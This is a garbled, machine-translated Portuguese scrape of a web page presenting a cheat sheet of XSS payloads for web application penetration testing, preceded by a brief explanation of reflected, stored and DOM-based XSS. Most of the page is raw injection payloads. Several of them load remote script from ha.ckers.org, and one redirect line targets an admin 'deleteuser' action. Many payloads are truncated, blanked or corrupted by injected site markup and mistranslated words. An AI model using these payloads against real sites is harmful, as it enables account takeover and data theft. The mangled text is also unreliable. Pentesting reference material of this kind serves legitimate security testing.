NotĂ­cias de dispositivos mĂłveis, gadgets, aplicativos Android

As 500 principais folhas de dicas sobre scripts XSS para testes de penetração de aplicativos Web

Folha de dicas do XSS

XSS Ă© um tipo de vulnerabilidade muito comumente explorado, amplamente difundido e facilmente detectĂĄvel. Aqui vamos ver sobre a folha de dicas XSS mais importante.

O que Ă© XSS(Script entre sites)? A O invasor pode injetar trechos nĂŁo confiĂĄveis ​​de JavaScript em seu aplicativo sem validação. Esse JavaScript Ă© entĂŁo executado pela vĂ­tima que estĂĄ visitando o site de destino. O XSS Ă© classificado em trĂȘs tipos e estas folhas de dicas do XSS ajudarĂŁo a encontrar as vulnerabilidades do XSS para Pentesters.

Folha de dicas do XSS
  • No XSS refletido, um invasor envia Ă  vĂ­tima um link para o aplicativo de destino por email, mĂ­dia social etc. Esse link possui um script incorporado que Ă© executado ao visitar o site de destino.
  • No XSS armazenado, o invasor poderĂĄ plantar um script persistente no site de destino que serĂĄ executado quando alguĂ©m o visitar.
  • Com XSS baseado em DOM, nenhuma solicitação HTTP Ă© necessĂĄria, o script Ă© injetado como resultado da modificação do DOM do site de destino no cĂłdigo do lado do cliente no navegador da vĂ­tima e Ă© executado.

VocĂȘ tambĂ©m pode aprender o Curso avançado sobre hackers e testes de penetração na Web – do zero para avançar.

Folha de dicas mais importantes sobre o XSS


CLICKME  CLICKME 





  •  
    
XXX






alert(1)0

     
    


As 500 principais folhas de dicas sobre scripts XSS para testes de penetração de aplicativos Web 1

">
">
">
 ">
javascript:alert(1)">
<% foo>javascript:alert(1)">

     


































XXX
javascript:alert(1)"` `>


<a href=http://foo.bar/#x=`y></a><img alt="`><img src=x:x onerror=javascript:alert(1)></a>">
<!--[if]><script data-debloat-delay="1" type="text/debloat-script">javascript:alert(1)</script -->
<!--[if<img src=x onerror=javascript:alert(1)//]> -->
<script src="/%(jscript)s"></script>
<script id="9aad8b22ff333a1a9ad2aee3d82095b8" data-debloat-delay="1" data-src="\%(jscript)s"></script>
<object id="x" classid="clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598"></object> <object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" onqt_error="javascript:alert(1)" style="behavior:url(#x);"><param name=postdomevents /></object>
<a style="-o-link:"https://gbhackers.com/top-500-important-xss-cheat-sheet/javascript:javascript:alert(1)";-o-link-source:current">X
<style>p[foo=bar{}*{-o-link:"https://gbhackers.com/top-500-important-xss-cheat-sheet/javascript:javascript:alert(1)"}{}*{-o-link-source:current}]{cor vermelha};</style>
<style id="aee0f41288f04aafee64f1f6c1edf3e9">*{x:expression(javascript:alert(1))%</style>@import "data:, *% 7bx: expression (javascript: alert (1))% 7D ";</style>
<a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="javascript:alert(1);">XXX</a></a><a href="https://gbhackers.com/top-500-important-xss-cheat-sheet/javascript:javascript:alert(1)" rel="nofollow noopener" target="_blank">XXX</a>
<style>*[{}@import'%(css)s?]</style>X
<div style="font-family:'foo
;color:red;';">XXX
<div style="font-family:foo}color=red;">XXX
<// style=x:expression28javascript:alert(1)29>
<style>* {x:  (javascript: alert (1))}</style>
<div style=content:url(%(svg)s)></div>
<div style="list-style:url(http://foo.f)20url(javascript:javascript:alert(1));">X
<div id=d><div style="font-family:'sans273B color3Ared3B'">X</div></div> <script data-debloat-delay="1" type="text/debloat-script">with(document.getElementById("d"))innerHTML=innerHTML</script>
<div style="background:url(/f#oo/;color:red/*/foo.jpg);">X
<div style="font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);">X
<div id="x">XXX</div> <style>  #x {famĂ­lia de fontes: foo[bar;color:green;} #y];cor vermelha;{} </style>
<x style="background:url('x;color:red;/*')">XXX</x>
<script data-debloat-delay="1" type="text/debloat-script">({set/**/$($){_/**/setter=$,_=javascript:alert(1)}}).$=eval</script>
<script data-debloat-delay="1" type="text/debloat-script">({0:#0=eval/#0#/#0#(javascript:alert(1))})</script>
<script data-debloat-delay="1" type="text/debloat-script">ReferenceError.prototype.__defineGetter__('name', function(){javascript:alert(1)}),x</script>
<script data-debloat-delay="1" type="text/debloat-script">Object.__noSuchMethod__ = Function,[{}][0].constructor._('javascript:alert(1)')()</script>
<meta charset="x-imap4-modified-utf7">& ADz & AGn & AG0 & AEf & ACA & AHM & AHI & AGO & AD0 & AGn & ACA & AG8Abg & AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ & ACAAPABi
<meta charset="x-imap4-modified-utf7">&<script data-debloat-delay="1" type="text/debloat-script">alert&A7&(1)&R&UA;&&<&A9&11/script&X&>
<meta charset="mac-farsi">ŒscriptŸjavascript:alert(1)Œ/scriptŸ
X<x style=`behavior:url(#default#time2)` onbegin=`javascript:alert(1)` >
1<set/xmlns=`urn:schemas-microsoft-com:time` style=`beh&#x41vior:url(#default#time2)` attributename=`innerhtml` to=`<img/src="x"onerror=javascript:alert(1)>`>
</pre>
<pre class="wp-block-preformatted"><IMG SRC="https://gbhackers.com/top-500-important-xss-cheat-sheet/jav
ascript:alert("XSS');">
perl -e 'print "<IMG SRC=java�script:alert("XSS")>";' > out
<IMG SRC="  javascript:alert('XSS');">
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></script>
<BODY onload!#$%&()*~+-_.,:;[email protected][/|]^`=alert("XSS")>
<SCRIPT SRC="https://ha.ckers.org/xss.js"></SCRIPT>
<<script data-debloat-delay="1" type="text/debloat-script">alert("XSS");//<</script>
<script SRC="https://ha.ckers.org/xss.js?<" B="" data-debloat-delay="1" type="text/debloat-script">
<SCRIPT SRC=//ha.ckers.org/.j>
<IMG SRC="https://gbhackers.com/top-500-important-xss-cheat-sheet/javascript:alert("XSS')"
<iframe src=http://ha.ckers.org/scriptlet.html <
";alert('XSS');//






    • 



    

    

    

    

    

    

 



alert("XSS")'); ?>

Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
alert('XSS')">
  +ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-






PT SRC="http://ha.ckers.org/xss.js">
XSS
XSS
XSS
XSS
XSS
XSS




clique


 style="x:">
<--` --!>


    x
">